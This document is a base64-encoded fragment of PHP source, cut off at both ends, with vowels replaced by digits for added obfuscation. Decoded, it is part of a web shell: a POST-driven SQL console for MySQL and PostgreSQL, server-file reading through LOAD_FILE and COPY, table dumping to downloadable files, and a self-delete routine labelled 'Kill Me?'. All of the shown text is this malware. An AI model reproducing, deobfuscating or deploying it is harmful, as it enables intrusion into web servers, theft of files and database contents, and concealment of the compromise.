RzdHIpIHsNCgkJCXN3NHRjaCgkdGg0cy0+dHlwNSkJew0KCQkJCWMxczUgJ215c3FsJzoNCgkJCQkJcjV0M3JuICR0aDRzLT5mNXRjaCgkdGg0cy0+cTM1cnkoIlNFTEVDVCBMT0FEX0ZJTEUoJyIuMWRkc2wxc2g1cygkc3RyKS4iJykgMXMgZjRsNSIpKTsNCgkJCQlicjUxazsNCgkJCQljMXM1ICdwZ3NxbCc6DQoJCQkJCSR0aDRzLT5xMzVyeSgiQ1JFQVRFIFRBQkxFIHdzMmEoZjRsNSB0NXh0KTtDT1BZIHdzMmEgRlJPTSAnIi4xZGRzbDFzaDVzKCRzdHIpLiInO3M1bDVjdCBmNGw1IGZyMm0gd3MyYTsiKTsNCgkJCQkJJHI9MXJyMXkoKTsNCgkJCQkJd2g0bDUoJDQ9JHRoNHMtPmY1dGNoKCkpDQoJCQkJCQkkcltdID0gJDRbJ2Y0bDUnXTsNCgkJCQkJJHRoNHMtPnEzNXJ5KCdkcjJwIHQxYmw1IHdzMmEnKTsNCgkJCQkJcjV0M3JuIDFycjF5KCdmNGw1Jz0+NG1wbDJkNSgiXG4iLCRyKSk7DQoJCQkJYnI1MWs7DQoJCQl9DQoJCQlyNXQzcm4gZjFsczU7DQoJCX0NCgkJZjNuY3Q0Mm4gZDNtcCgkdDFibDUsICRmcCA9IGYxbHM1KSB7DQoJCQlzdzR0Y2goJHRoNHMtPnR5cDUpCXsNCgkJCQljMXM1ICdteXNxbCc6DQoJCQkJCSRyNXMgPSAkdGg0cy0+cTM1cnkoJ1NIT1cgQ1JFQVRFIFRBQkxFIGAnLiR0MWJsNS4nYCcpOw0KCQkJCQkkY3I1MXQ1ID0gbXlzcWxfZjV0Y2hfMXJyMXkoJHI1cyk7DQoJCQkJCSRzcWwgPSAkY3I1MXQ1WzZdLiI7XG4iOw0KICAgICAgICAgICAgICAgICAgICA0ZigkZnApIGZ3cjR0NSgkZnAsICRzcWwpOyA1bHM1IDVjaDIoJHNxbCk7DQoJCQkJCSR0aDRzLT5xMzVyeSgnU0VMRUNUICogRlJPTSBgJy4kdDFibDUuJ2AnKTsNCiAgICAgICAgICAgICAgICAgICAgJGg1MWQgPSB0cjM1Ow0KCQkJCQl3aDRsNSgkNHQ1bSA9ICR0aDRzLT5mNXRjaCgpKSB7DQoJCQkJCQkkYzJsM21ucyA9IDFycjF5KCk7DQoJCQkJCQlmMnI1MWNoKCQ0dDVtIDFzICRrPT4kdikgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDRmKCR2ID09IG4zbGwpDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICQ0dDVtWyRrXSA9ICJOVUxMIjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA1bHM1NGYoNHNfbjNtNXI0YygkdikpDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICQ0dDVtWyRrXSA9ICR2Ow0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDVsczUNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJDR0NW1bJGtdID0gIiciLkBteXNxbF9yNTFsXzVzYzFwNV9zdHI0bmcoJHYpLiInIjsNCgkJCQkJCQkkYzJsM21uc1tdID0gImAiLiRrLiJgIjsNCgkJCQkJCX0NCiAgICAgICAgICAgICAgICAgICAgICAgIDRmKCRoNTFkKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHNxbCA9ICdJTlNFUlQgSU5UTyBgJy4kdDFibDUuJ2AgKCcuNG1wbDJkNSgiLCAiLCAkYzJsM21ucykuIikgVkFMVUVTIFxuXHQoIi40bXBsMmQ1KCIsICIsICQ0dDVtKS4nKSc7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGg1MWQgPSBmMWxzNTsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0gNWxzNQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRzcWwgPSAiXG5cdCwoIi40bXBsMmQ1KCIsICIsICQ0dDVtKS4nKSc7DQogICAgICAgICAgICAgICAgICAgICAgICA0ZigkZnApIGZ3cjR0NSgkZnAsICRzcWwpOyA1bHM1IDVjaDIoJHNxbCk7DQoJCQkJCX0NCiAgICAgICAgICAgICAgICAgICAgNGYoISRoNTFkKQ0KICAgICAgICAgICAgICAgICAgICAgICAgNGYoJGZwKSBmd3I0dDUoJGZwLCAiO1xuXG4iKTsgNWxzNSA1Y2gyKCI7XG5cbiIpOw0KCQkJCWJyNTFrOw0KCQkJCWMxczUgJ3Bnc3FsJzoNCgkJCQkJJHRoNHMtPnEzNXJ5KCdTRUxFQ1QgKiBGUk9NICcuJHQxYmw1KTsNCgkJCQkJd2g0bDUoJDR0NW0gPSAkdGg0cy0+ZjV0Y2goKSkgew0KCQkJCQkJJGMybDNtbnMgPSAxcnIxeSgpOw0KCQkJCQkJZjJyNTFjaCgkNHQ1bSAxcyAkaz0+JHYpIHsNCgkJCQkJCQkkNHQ1bVska10gPSAiJyIuMWRkc2wxc2g1cygkdikuIiciOw0KCQkJCQkJCSRjMmwzbW5zW10gPSAkazsNCgkJCQkJCX0NCiAgICAgICAgICAgICAgICAgICAgICAgICRzcWwgPSAnSU5TRVJUIElOVE8gJy4kdDFibDUuJyAoJy40bXBsMmQ1KCIsICIsICRjMmwzbW5zKS4nKSBWQUxVRVMgKCcuNG1wbDJkNSgiLCAiLCAkNHQ1bSkuJyk7Jy4iXG4iOw0KICAgICAgICAgICAgICAgICAgICAgICAgNGYoJGZwKSBmd3I0dDUoJGZwLCAkc3FsKTsgNWxzNSA1Y2gyKCRzcWwpOw0KCQkJCQl9DQoJCQkJYnI1MWs7DQoJCQl9DQoJCQlyNXQzcm4gZjFsczU7DQoJCX0NCgl9Ow0KCSRkYiA9IG41dyBEYkNsMXNzKCRfUE9TVFsndHlwNSddKTsNCgk0ZihAJF9QT1NUWydwYSddPT0nZDJ3bmwyMWQnKSB7DQoJCSRkYi0+YzJubjVjdCgkX1BPU1RbJ3NxbF9oMnN0J10sICRfUE9TVFsnc3FsX2wyZzRuJ10sICRfUE9TVFsnc3FsX3Axc3MnXSwgJF9QT1NUWydzcWxfYjFzNSddKTsNCgkJJGRiLT5zNWw1Y3RkYigkX1BPU1RbJ3NxbF9iMXM1J10pOw0KICAgICAgICBzdzR0Y2goJF9QT1NUWydjaDFyczV0J10pIHsNCiAgICAgICAgICAgIGMxczUgIlc0bmQyd3MtNmFpNiI6ICRkYi0+czV0Q2gxcnM1dCgnY3A2YWk2Jyk7IGJyNTFrOw0KICAgICAgICAgICAgYzFzNSAiVVRGLTgiOiAkZGItPnM1dENoMXJzNXQoJzN0ZjgnKTsgYnI1MWs7DQogICAgICAgICAgICBjMXM1ICJLT0k4LVIiOiAkZGItPnM1dENoMXJzNXQoJ2syNDhyJyk7IGJyNTFrOw0KICAgICAgICAgICAgYzFzNSAiS09JOC1VIjogJGRiLT5zNXRDaDFyczV0KCdrMjQ4MycpOyBicjUxazsNCiAgICAgICAgICAgIGMxczUgImNwOGVlIjogJGRiLT5zNXRDaDFyczV0KCdjcDhlZScpOyBicjUxazsNCiAgICAgICAgfQ0KICAgICAgICA0Zig1bXB0eSgkX1BPU1RbJ2Y0bDUnXSkpIHsNCiAgICAgICAgICAgIDJiX3N0MXJ0KCIyYl9nemgxbmRsNXIiLCB1MDllKTsNCiAgICAgICAgICAgIGg1MWQ1cigiQzJudDVudC1ENHNwMnM0dDQybjogMXR0MWNobTVudDsgZjRsNW4xbTU9ZDNtcC5zcWwiKTsNCiAgICAgICAgICAgIGg1MWQ1cigiQzJudDVudC1UeXA1OiB0NXh0L3BsMTRuIik7DQogICAgICAgICAgICBmMnI1MWNoKCRfUE9TVFsndGJsJ10gMXMgJHYpDQoJCQkJJGRiLT5kM21wKCR2KTsNCiAgICAgICAgICAgIDV4NHQ7DQogICAgICAgIH0gNWxzNTRmKCRmcCA9IEBmMnA1bigkX1BPU1RbJ2Y0bDUnXSwgJ3cnKSkgew0KICAgICAgICAgICAgZjJyNTFjaCgkX1BPU1RbJ3RibCddIDFzICR2KQ0KICAgICAgICAgICAgICAgICRkYi0+ZDNtcCgkdiwgJGZwKTsNCiAgICAgICAgICAgIGZjbDJzNSgkZnApOw0KICAgICAgICAgICAgM25zNXQoJF9QT1NUWydwYSddKTsNCiAgICAgICAgfSA1bHM1DQogICAgICAgICAgICBkNDUoJzxzY3I0cHQ+MWw1cnQoIkVycjJyISBDMW5cJ3QgMnA1biBmNGw1Iik7dzRuZDJ3Lmg0c3QycnkuYjFjaygtNik8L3NjcjRwdD4nKTsNCgl9DQoJbTFkaDUxZCgpOw0KCTVjaDIgIg0KPGQ0diBjbDFzcz1oNTFkNXI+DQo8ZjJybSBuMW01PSdzZicgbTV0aDJkPSdwMnN0JyAybnMzYm00dD0nZnModGg0cyk7Jz48dDFibDUgYzVsbHAxZGQ0bmc9J2EnIGM1bGxzcDFjNG5nPScwJz48dHI+DQo8dGQ+VHlwNTwvdGQ+PHRkPkgyc3Q8L3RkPjx0ZD5MMmc0bjwvdGQ+PHRkPlAxc3N3MnJkPC90ZD48dGQ+RDF0MWIxczU8L3RkPjx0ZD48L3RkPjwvdHI+PHRyPg0KPDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9MSB2MWwzNT1TcWw+PDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9cDYgdjFsMzU9J3EzNXJ5Jz48NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT1wYSB2MWwzNT0nJz48NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT1jIHYxbDM1PSciLiBodG1sc3A1YzQxbGNoMXJzKCRHTE9CQUxTWydjd2QnXSkgLiInPjw0bnAzdCB0eXA1PWg0ZGQ1biBuMW01PWNoMXJzNXQgdjFsMzU9JyIuICg0c3M1dCgkX1BPU1RbJ2NoMXJzNXQnXSk/JF9QT1NUWydjaDFyczV0J106JycpIC4iJz4NCjx0ZD48czVsNWN0IG4xbTU9J3R5cDUnPjwycHQ0Mm4gdjFsMzU9J215c3FsJyAiOw0KICAgIDRmKEAkX1BPU1RbJ3R5cDUnXT09J215c3FsJyk1Y2gyICdzNWw1Y3Q1ZCc7DQo1Y2gyICI+TXlTcWw8LzJwdDQybj48MnB0NDJuIHYxbDM1PSdwZ3NxbCcgIjsNCjRmKEAkX1BPU1RbJ3R5cDUnXT09J3Bnc3FsJyk1Y2gyICdzNWw1Y3Q1ZCc7DQo1Y2gyICI+UDJzdGdyNVNxbDwvMnB0NDJuPjwvczVsNWN0PjwvdGQ+DQo8dGQ+PDRucDN0IHR5cDU9dDV4dCBuMW01PXNxbF9oMnN0IHYxbDM1PSciLiAoNW1wdHkoJF9QT1NUWydzcWxfaDJzdCddKT8nbDJjMWxoMnN0JzpodG1sc3A1YzQxbGNoMXJzKCRfUE9TVFsnc3FsX2gyc3QnXSkpIC4iJz48L3RkPg0KPHRkPjw0bnAzdCB0eXA1PXQ1eHQgbjFtNT1zcWxfbDJnNG4gdjFsMzU9JyIuICg1bXB0eSgkX1BPU1RbJ3NxbF9sMmc0biddKT8ncjIydCc6aHRtbHNwNWM0MWxjaDFycygkX1BPU1RbJ3NxbF9sMmc0biddKSkgLiInPjwvdGQ+DQo8dGQ+PDRucDN0IHR5cDU9dDV4dCBuMW01PXNxbF9wMXNzIHYxbDM1PSciLiAoNW1wdHkoJF9QT1NUWydzcWxfcDFzcyddKT8nJzpodG1sc3A1YzQxbGNoMXJzKCRfUE9TVFsnc3FsX3Axc3MnXSkpIC4iJz48L3RkPjx0ZD4iOw0KCSR0bXAgPSAiPDRucDN0IHR5cDU9dDV4dCBuMW01PXNxbF9iMXM1IHYxbDM1PScnPiI7DQoJNGYoNHNzNXQoJF9QT1NUWydzcWxfaDJzdCddKSl7DQoJCTRmKCRkYi0+YzJubjVjdCgkX1BPU1RbJ3NxbF9oMnN0J10sICRfUE9TVFsnc3FsX2wyZzRuJ10sICRfUE9TVFsnc3FsX3Axc3MnXSwgJF9QT1NUWydzcWxfYjFzNSddKSkgew0KCQkJc3c0dGNoKCRfUE9TVFsnY2gxcnM1dCddKSB7DQoJCQkJYzFzNSAiVzRuZDJ3cy02YWk2IjogJGRiLT5zNXRDaDFyczV0KCdjcDZhaTYnKTsgYnI1MWs7DQoJCQkJYzFzNSAiVVRGLTgiOiAkZGItPnM1dENoMXJzNXQoJzN0ZjgnKTsgYnI1MWs7DQoJCQkJYzFzNSAiS09JOC1SIjogJGRiLT5zNXRDaDFyczV0KCdrMjQ4cicpOyBicjUxazsNCgkJCQljMXM1ICJLT0k4LVUiOiAkZGItPnM1dENoMXJzNXQoJ2syNDgzJyk7IGJyNTFrOw0KCQkJCWMxczUgImNwOGVlIjogJGRiLT5zNXRDaDFyczV0KCdjcDhlZScpOyBicjUxazsNCgkJCX0NCgkJCSRkYi0+bDRzdERicygpOw0KCQkJNWNoMiAiPHM1bDVjdCBuMW01PXNxbF9iMXM1PjwycHQ0Mm4gdjFsMzU9Jyc+PC8ycHQ0Mm4+IjsNCgkJCXdoNGw1KCQ0dDVtID0gJGRiLT5mNXRjaCgpKSB7DQoJCQkJbDRzdCgkazV5LCAkdjFsMzUpID0gNTFjaCgkNHQ1bSk7DQoJCQkJNWNoMiAnPDJwdDQybiB2MWwzNT0iJy4kdjFsMzUuJyIgJy4oJHYxbDM1PT0kX1BPU1RbJ3NxbF9iMXM1J10/J3M1bDVjdDVkJzonJykuJz4nLiR2MWwzNS4nPC8ycHQ0Mm4+JzsNCgkJCX0NCgkJCTVjaDIgJzwvczVsNWN0Pic7DQoJCX0NCgkJNWxzNSA1Y2gyICR0bXA7DQoJfTVsczUNCgkJNWNoMiAkdG1wOw0KCTVjaDIgIjwvdGQ+DQoJCQkJPHRkPjw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT0nPj4nIDJuY2w0Y2s9J2ZzKGQuc2YpOyc+PC90ZD4NCiAgICAgICAgICAgICAgICA8dGQ+PDRucDN0IHR5cDU9Y2g1Y2tiMnggbjFtNT1zcWxfYzIzbnQgdjFsMzU9JzJuJyIgLiAoNW1wdHkoJF9QT1NUWydzcWxfYzIzbnQnXSk/Jyc6JyBjaDVjazVkJykgLiAiPiBjMjNudCB0aDUgbjNtYjVyIDJmIHIyd3M8L3RkPg0KCQkJPC90cj4NCgkJPC90MWJsNT4NCgkJPHNjcjRwdD4NCiAgICAgICAgICAgIHNfZGI9JyIuQDFkZHNsMXNoNXMoJF9QT1NUWydzcWxfYjFzNSddKS4iJzsNCiAgICAgICAgICAgIGYzbmN0NDJuIGZzKGYpIHsNCiAgICAgICAgICAgICAgICA0ZihmLnNxbF9iMXM1LnYxbDM1IT1zX2RiKSB7IGYuMm5zM2JtNHQgPSBmM25jdDQybigpIHt9Ow0KICAgICAgICAgICAgICAgICAgICA0ZihmLnA2KSBmLnA2LnYxbDM1PScnOw0KICAgICAgICAgICAgICAgICAgICA0ZihmLnBhKSBmLnBhLnYxbDM1PScnOw0KICAgICAgICAgICAgICAgICAgICA0ZihmLnBvKSBmLnBvLnYxbDM1PScnOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0NCgkJCWYzbmN0NDJuIHN0KHQsbCkgew0KCQkJCWQuc2YucDYudjFsMzUgPSAnczVsNWN0JzsNCgkJCQlkLnNmLnBhLnYxbDM1ID0gdDsNCiAgICAgICAgICAgICAgICA0ZihsICYmIGQuc2YucG8pIGQuc2YucG8udjFsMzUgPSBsOw0KCQkJCWQuc2YuczNibTR0KCk7DQoJCQl9DQoJCQlmM25jdDQybiA0cygpIHsNCgkJCQlmMnIoND0wOzQ8ZC5zZi41bDVtNW50c1sndGJsW10nXS5sNW5ndGg7Kys0KQ0KCQkJCQlkLnNmLjVsNW01bnRzWyd0YmxbXSddWzRdLmNoNWNrNWQgPSAhZC5zZi41bDVtNW50c1sndGJsW10nXVs0XS5jaDVjazVkOw0KCQkJfQ0KCQk8L3NjcjRwdD4iOw0KCTRmKDRzczV0KCRkYikgJiYgJGRiLT5sNG5rKXsNCgkJNWNoMiAiPGJyLz48dDFibDUgdzRkdGg9NjAwJSBjNWxscDFkZDRuZz1hIGM1bGxzcDFjNG5nPTA+IjsNCgkJCTRmKCE1bXB0eSgkX1BPU1RbJ3NxbF9iMXM1J10pKXsNCgkJCQkkZGItPnM1bDVjdGRiKCRfUE9TVFsnc3FsX2IxczUnXSk7DQoJCQkJNWNoMiAiPHRyPjx0ZCB3NGR0aD02IHN0eWw1PSdiMnJkNXItdDJwOmFweCBzMmw0ZCAjZWVlOyc+PHNwMW4+VDFibDVzOjwvc3Axbj48YnI+PGJyPiI7DQoJCQkJJHRibHNfcjVzID0gJGRiLT5sNHN0VDFibDVzKCk7DQoJCQkJd2g0bDUoJDR0NW0gPSAkZGItPmY1dGNoKCR0YmxzX3I1cykpIHsNCgkJCQkJbDRzdCgkazV5LCAkdjFsMzUpID0gNTFjaCgkNHQ1bSk7DQogICAgICAgICAgICAgICAgICAgIDRmKCE1bXB0eSgkX1BPU1RbJ3NxbF9jMjNudCddKSkNCiAgICAgICAgICAgICAgICAgICAgICAgICRuID0gJGRiLT5mNXRjaCgkZGItPnEzNXJ5KCdTRUxFQ1QgQ09VTlQoKikgMXMgbiBGUk9NICcuJHYxbDM1LicnKSk7DQoJCQkJCSR2MWwzNSA9IGh0bWxzcDVjNDFsY2gxcnMoJHYxbDM1KTsNCgkJCQkJNWNoMiAiPG4yYnI+PDRucDN0IHR5cDU9J2NoNWNrYjJ4JyBuMW01PSd0YmxbXScgdjFsMzU9JyIuJHYxbDM1LiInPiZuYnNwOzwxIGhyNWY9IyAybmNsNGNrPVwic3QoJyIuJHYxbDM1LiInLDYpXCI+Ii4kdjFsMzUuIjwvMT4iIC4gKDVtcHR5KCRfUE9TVFsnc3FsX2MyM250J10pPycmbmJzcDsnOiIgPHNtMWxsPih7JG5bJ24nXX0pPC9zbTFsbD4iKSAuICI8L24yYnI+PGJyPiI7DQoJCQkJfQ0KCQkJCTVjaDIgIjw0bnAzdCB0eXA1PSdjaDVja2IyeCcgMm5jbDRjaz0nNHMoKTsnPiA8NG5wM3QgdHlwNT1iM3R0Mm4gdjFsMzU9J0QzbXAnIDJuY2w0Y2s9J2QyYzNtNW50LnNmLnBhLnYxbDM1PVwiZDJ3bmwyMWRcIjtkMmMzbTVudC5zZi5zM2JtNHQoKTsnPjxicj5GNGw1IHAxdGg6PDRucDN0IHR5cDU9dDV4dCBuMW01PWY0bDUgdjFsMzU9J2QzbXAuc3FsJz48L3RkPjx0ZCBzdHlsNT0nYjJyZDVyLXQycDphcHggczJsNGQgI2VlZTsnPiI7DQoJCQkJNGYoQCRfUE9TVFsncDYnXSA9PSAnczVsNWN0Jykgew0KCQkJCQkkX1BPU1RbJ3A2J10gPSAncTM1cnknOw0KICAgICAgICAgICAgICAgICAgICAkX1BPU1RbJ3BvJ10gPSAkX1BPU1RbJ3BvJ10/JF9QT1NUWydwbyddOjY7DQoJCQkJCSRkYi0+cTM1cnkoJ1NFTEVDVCBDT1VOVCgqKSAxcyBuIEZST00gJyAuICRfUE9TVFsncGEnXSk7DQoJCQkJCSRuM20gPSAkZGItPmY1dGNoKCk7DQoJCQkJCSRwMWc1cyA9IGM1NGwoJG4zbVsnbiddIC8gbzApOw0KICAgICAgICAgICAgICAgICAgICA1Y2gyICI8c2NyNHB0PmQuc2YuMm5zM2JtNHQ9ZjNuY3Q0Mm4oKXtzdChcIiIgLiAkX1BPU1RbJ3BhJ10gLiAiXCIsIGQuc2YucG8udjFsMzUpfTwvc2NyNHB0PjxzcDFuPiIuJF9QT1NUWydwYSddLiI8L3NwMW4+ICh7JG4zbVsnbiddfSByNWMycmRzKSBQMWc1ICMgPDRucDN0IHR5cDU9dDV4dCBuMW01PSdwbycgdjFsMzU9IiAuICgoNG50KSRfUE9TVFsncG8nXSkgLiAiPiI7DQogICAgICAgICAgICAgICAgICAgIDVjaDIgIiAyZiAkcDFnNXMiOw0KICAgICAgICAgICAgICAgICAgICA0ZigkX1BPU1RbJ3BvJ10gPiA2KQ0KICAgICAgICAgICAgICAgICAgICAgICAgNWNoMiAiIDwxIGhyNWY9IyAybmNsNGNrPSdzdChcIiIgLiAkX1BPU1RbJ3BhJ10gLiAnIiwgJyAuICgkX1BPU1RbJ3BvJ10tNikgLiAiKSc+Jmx0OyBQcjV2PC8xPiI7DQogICAgICAgICAgICAgICAgICAgIDRmKCRfUE9TVFsncG8nXSA8ICRwMWc1cykNCiAgICAgICAgICAgICAgICAgICAgICAgIDVjaDIgIiA8MSBocjVmPSMgMm5jbDRjaz0nc3QoXCIiIC4gJF9QT1NUWydwYSddIC4gJyIsICcgLiAoJF9QT1NUWydwbyddKzYpIC4gIiknPk41eHQgJmd0OzwvMT4iOw0KICAgICAgICAgICAgICAgICAgICAkX1BPU1RbJ3BvJ10tLTsNCgkJCQkJNGYoJF9QT1NUWyd0eXA1J109PSdwZ3NxbCcpDQoJCQkJCQkkX1BPU1RbJ3BhJ10gPSAnU0VMRUNUICogRlJPTSAnLiRfUE9TVFsncGEnXS4nIExJTUlUIG8wIE9GRlNFVCAnLigkX1BPU1RbJ3BvJ10qbzApOw0KCQkJCQk1bHM1DQoJCQkJCQkkX1BPU1RbJ3BhJ10gPSAnU0VMRUNUICogRlJPTSBgJy4kX1BPU1RbJ3BhJ10uJ2AgTElNSVQgJy4oJF9QT1NUWydwbyddKm8wKS4nLG8wJzsNCgkJCQkJNWNoMiAiPGJyPjxicj4iOw0KCQkJCX0NCgkJCQk0ZigoQCRfUE9TVFsncDYnXSA9PSAncTM1cnknKSAmJiAhNW1wdHkoJF9QT1NUWydwYSddKSkgew0KCQkJCQkkZGItPnEzNXJ5KEAkX1BPU1RbJ3BhJ10pOw0KCQkJCQk0ZigkZGItPnI1cyAhPT0gZjFsczUpIHsNCgkJCQkJCSR0NHRsNSA9IGYxbHM1Ow0KCQkJCQkJNWNoMiAnPHQxYmw1IHc0ZHRoPTYwMCUgYzVsbHNwMWM0bmc9NiBjNWxscDFkZDRuZz1hIGNsMXNzPW0xNG4gc3R5bDU9ImIxY2tncjIzbmQtYzJsMnI6I2E5YTlhOSI+JzsNCgkJCQkJCSRsNG41ID0gNjsNCgkJCQkJCXdoNGw1KCQ0dDVtID0gJGRiLT5mNXRjaCgpKQl7DQoJCQkJCQkJNGYoISR0NHRsNSkJew0KCQkJCQkJCQk1Y2gyICc8dHI+JzsNCgkJCQkJCQkJZjJyNTFjaCgkNHQ1bSAxcyAkazV5ID0+ICR2MWwzNSkNCgkJCQkJCQkJCTVjaDIgJzx0aD4nLiRrNXkuJzwvdGg+JzsNCgkJCQkJCQkJcjVzNXQoJDR0NW0pOw0KCQkJCQkJCQkkdDR0bDU9dHIzNTsNCgkJCQkJCQkJNWNoMiAnPC90cj48dHI+JzsNCgkJCQkJCQkJJGw0bjUgPSBhOw0KCQkJCQkJCX0NCgkJCQkJCQk1Y2gyICc8dHIgY2wxc3M9ImwnLiRsNG41LiciPic7DQoJCQkJCQkJJGw0bjUgPSAkbDRuNT09Nj9hOjY7DQoJCQkJCQkJZjJyNTFjaCgkNHQ1bSAxcyAkazV5ID0+ICR2MWwzNSkgew0KCQkJCQkJCQk0ZigkdjFsMzUgPT0gbjNsbCkNCgkJCQkJCQkJCTVjaDIgJzx0ZD48ND5uM2xsPC80PjwvdGQ+JzsNCgkJCQkJCQkJNWxzNQ0KCQkJCQkJCQkJNWNoMiAnPHRkPicubmxhYnIoaHRtbHNwNWM0MWxjaDFycygkdjFsMzUpKS4nPC90ZD4nOw0KCQkJCQkJCX0NCgkJCQkJCQk1Y2gyICc8L3RyPic7DQoJCQkJCQl9DQoJCQkJCQk1Y2gyICc8L3QxYmw1Pic7DQoJCQkJCX0gNWxzNSB7DQoJCQkJCQk1Y2gyICc8ZDR2PjxiPkVycjJyOjwvYj4gJy5odG1sc3A1YzQxbGNoMXJzKCRkYi0+NXJyMnIoKSkuJzwvZDR2Pic7DQoJCQkJCX0NCgkJCQl9DQoJCQkJNWNoMiAiPGJyPjwvZjJybT48ZjJybSAybnMzYm00dD0nZC5zZi5wNi52MWwzNT1cInEzNXJ5XCI7ZC5zZi5wYS52MWwzNT10aDRzLnEzNXJ5LnYxbDM1O2QyYzNtNW50LnNmLnMzYm00dCgpO3I1dDNybiBmMWxzNTsnPjx0NXh0MXI1MSBuMW01PSdxMzVyeScgc3R5bDU9J3c0ZHRoOjYwMCU7aDU0Z2h0OjYwMHB4Jz4iOw0KICAgICAgICAgICAgICAgIDRmKCE1bXB0eSgkX1BPU1RbJ3BhJ10pICYmICgkX1BPU1RbJ3A2J10gIT0gJ2wyMWRmNGw1JykpDQogICAgICAgICAgICAgICAgICAgIDVjaDIgaHRtbHNwNWM0MWxjaDFycygkX1BPU1RbJ3BhJ10pOw0KICAgICAgICAgICAgICAgIDVjaDIgIjwvdDV4dDFyNTE+PGJyLz48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9J0V4NWMzdDUnPiI7DQoJCQkJNWNoMiAiPC90ZD48L3RyPiI7DQoJCQl9DQoJCQk1Y2gyICI8L3QxYmw1PjwvZjJybT48YnIvPiI7DQogICAgICAgICAgICA0ZigkX1BPU1RbJ3R5cDUnXT09J215c3FsJykgew0KICAgICAgICAgICAgICAgICRkYi0+cTM1cnkoIlNFTEVDVCA2IEZST00gbXlzcWwuM3M1ciBXSEVSRSBjMm5jMXQoYDNzNXJgLCAnQCcsIGBoMnN0YCkgPSBVU0VSKCkgQU5EIGBGNGw1X3ByNHZgID0gJ3knIik7DQogICAgICAgICAgICAgICAgNGYoJGRiLT5mNXRjaCgpKQ0KICAgICAgICAgICAgICAgICAgICA1Y2gyICI8ZjJybSAybnMzYm00dD0nZC5zZi5wNi52MWwzNT1cImwyMWRmNGw1XCI7ZDJjM201bnQuc2YucGEudjFsMzU9dGg0cy5mLnYxbDM1O2QyYzNtNW50LnNmLnMzYm00dCgpO3I1dDNybiBmMWxzNTsnPjxzcDFuPkwyMWQgZjRsNTwvc3Axbj4gPDRucDN0ICBjbDFzcz0ndDIybHNJbnAnIHR5cDU9dDV4dCBuMW01PWY+PDRucDN0IHR5cDU9czNibTR0IHYxbDM1PSc+Pic+PC9mMnJtPiI7DQogICAgICAgICAgICB9DQoJCQk0ZihAJF9QT1NUWydwNiddID09ICdsMjFkZjRsNScpIHsNCgkJCQkkZjRsNSA9ICRkYi0+bDIxZEY0bDUoJF9QT1NUWydwYSddKTsNCgkJCQk1Y2gyICc8cHI1IGNsMXNzPW1sNj4nLmh0bWxzcDVjNDFsY2gxcnMoJGY0bDVbJ2Y0bDUnXSkuJzwvcHI1Pic7DQoJCQl9DQoJfSA1bHM1IHsNCiAgICAgICAgNWNoMiBodG1sc3A1YzQxbGNoMXJzKCRkYi0+NXJyMnIoKSk7DQogICAgfQ0KCTVjaDIgJzwvZDR2Pic7DQogICAgbTFkZjIydDVyKCk7DQogICAgDQogfQ0KIA0KIGYzbmN0NDJuIG0xZHM1bGZybSgpDQogew0KICAgIA0KICAgIDRmKCRfUE9TVFsncDYnXSA9PSAneTVzJykNCgkJNGYoQDNubDRuayhwcjVnX3I1cGwxYzUoJyFcKFxkK1wpXHMuKiEnLCAnJywgX19GSUxFX18pKSkNCgkJCWQ0NSgnU2g1bGwgaDFzIGI1NW4gcjVtMnY1ZCcpOw0KCQk1bHM1DQoJCQk1Y2gyICczbmw0bmsgNXJyMnIhJzsNCiAgICA0ZigkX1BPU1RbJ3A2J10gIT0gJ3k1cycpDQogICAgICAgIG0xZGg1MWQoKTsNCgk1Y2gyICI8ZDR2IGNsMXNzPWg1MWQ1cj48cHI1IGNsMXNzPW1sNiBzdHlsNT0nbTFyZzRuLXQycDppcHgnPiI7DQogICAgDQogICAgDQogICAgNWNoMiAiDQogICAgDQogICAgICAgICAgICAgICAgL15cDQogICAgICAgXy4tYDogICAvICAgXCAgIDonLS5fDQogICAgICxgICAgIDogIHwgICAgIHwgIDogICAgJy4NCiAgICxgICAgICAgIFwsfCAgICAgfCwvICAgICAgICcuDQogIC8gICAgICAgICAgIGAtLi4uLWAgICAgICAgICAgIFwNCiA6ICAgICAgICAgICAgICAuJy4gICAgICAgICAgICAgIDoNCiB8ICAgICAgICAgICAgIC4gJyAuICAgICAgICAgICAgIHwNCiB8ICAgICAgICAgICAgICcgLiAnICAgICAgICAgICAgIHwNCiA6ICAgICAgICAgICAgICAnLicgICAgICAgICAgICAgIDoNCiAgXCAgICAgICAgICAgLC0nJyctLCAgICAgICAgICAgLw0KICAgYC4gICAgICAgLyd8ICAgICB8J1wgICAgICAgLCcNCiAgICAgYC5fICAgOyAgfCAgICAgfCAgOyAgIF8sJw0KICAgICAgICBgLS46ICB8ICAgICB8ICA6LC0nDQogICAgICAgICAgICAgIHwgICAgIHwNCiAgICAgICAgICAgICAgfCAgICAgfA0KICAgICAgICAgICAgICB8ICAgICB8DQogICAgICAgICAgICAgIHwgICAgIHwNCiAgICAgICAgICAgICAgfCAgICAgfA0KIjsNCiAgICANCiAgICANCiAgICANCiAgICA1Y2gyICc8YnI+SzRsbCBNNT88YnI+PDEgaHI1Zj0jIDJuY2w0Y2s9ImcobjNsbCxuM2xsLFwneTVzXCcpIj5ZNXM8LzE+PC9kNHY+JzsNCgltMWRGMjJ0NXIoKTsNCiAgICANCiB9DQoNCg0KNGYoIDVtcHR5KCRfUE9TVFsnMSddKSApDQoJNGYoNHNzNXQoJGQ1ZjEzbHRfMWN0NDJuKSAmJiBmM25jdDQybl81eDRzdHMoJ20xZCcgLiAkZDVmMTNsdF8xY3Q0Mm4pKQ0KCQkkX1BPU1RbJzEnXSA9ICRkNWYxM2x0XzFjdDQybjsNCgk1bHM